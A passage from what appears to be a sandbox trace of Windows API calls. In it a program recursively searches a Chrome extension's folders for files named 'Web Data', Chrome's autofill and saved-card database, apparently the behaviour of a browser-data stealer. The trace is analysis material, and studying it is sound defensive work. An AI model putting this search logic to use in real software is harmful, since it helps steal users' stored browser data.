[0056.412] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.412] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk" [0056.412] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*.*" [0056.412] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.412] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.412] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.412] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.412] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.412] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.412] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.412] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.412] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.413] LocalFree (hMem=0x2e0100) returned 0x0 [0056.413] LocalFree (hMem=0x2e0210) returned 0x0 [0056.413] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.413] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.413] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.413] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.413] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.413] lstrlenA (lpString="\\") returned 1 [0056.413] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.413] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.413] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.413] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.413] lstrlenA (lpString="sl") returned 2 [0056.413] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.413] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.413] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl" [0056.413] LocalFree (hMem=0x2e0100) returned 0x0 [0056.413] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl") returned 131 [0056.413] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl") returned 131 [0056.413] lstrlenA (lpString="\\*.*") returned 4 [0056.413] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.413] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl" [0056.413] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*.*" [0056.413] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.413] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.413] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.413] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.413] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.413] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.413] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.413] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.413] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.413] LocalFree (hMem=0x2e0100) returned 0x0 [0056.413] LocalFree (hMem=0x2e0210) returned 0x0 [0056.413] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.413] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.414] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.414] lstrlenA (lpString="\\") returned 1 [0056.414] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.414] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.414] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.414] lstrlenA (lpString="sr") returned 2 [0056.414] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.414] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.414] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr" [0056.414] LocalFree (hMem=0x2e0100) returned 0x0 [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr") returned 131 [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr") returned 131 [0056.414] lstrlenA (lpString="\\*.*") returned 4 [0056.414] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.414] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr" [0056.414] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*.*" [0056.414] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.414] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.414] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.414] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.414] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.414] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.414] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.414] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.414] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.414] LocalFree (hMem=0x2e0100) returned 0x0 [0056.414] LocalFree (hMem=0x2e0210) returned 0x0 [0056.414] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.414] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.414] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.414] lstrlenA (lpString="\\") returned 1 [0056.414] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.414] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.414] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.414] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.414] lstrlenA (lpString="sv") returned 2 [0056.414] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.414] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.415] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv" [0056.415] LocalFree (hMem=0x2e0100) returned 0x0 [0056.415] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv") returned 131 [0056.415] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv") returned 131 [0056.415] lstrlenA (lpString="\\*.*") returned 4 [0056.415] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.415] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv" [0056.415] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*.*" [0056.415] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.415] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.415] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.415] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.415] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.415] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.415] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.415] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.415] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.415] LocalFree (hMem=0x2e0100) returned 0x0 [0056.415] LocalFree (hMem=0x2e0210) returned 0x0 [0056.416] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.416] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.416] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.416] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.416] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.416] lstrlenA (lpString="\\") returned 1 [0056.416] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.416] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.416] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.416] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.416] lstrlenA (lpString="th") returned 2 [0056.416] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.416] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.416] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th" [0056.416] LocalFree (hMem=0x2e0100) returned 0x0 [0056.416] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th") returned 131 [0056.416] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th") returned 131 [0056.416] lstrlenA (lpString="\\*.*") returned 4 [0056.416] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.416] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th" [0056.416] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*.*" [0056.416] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 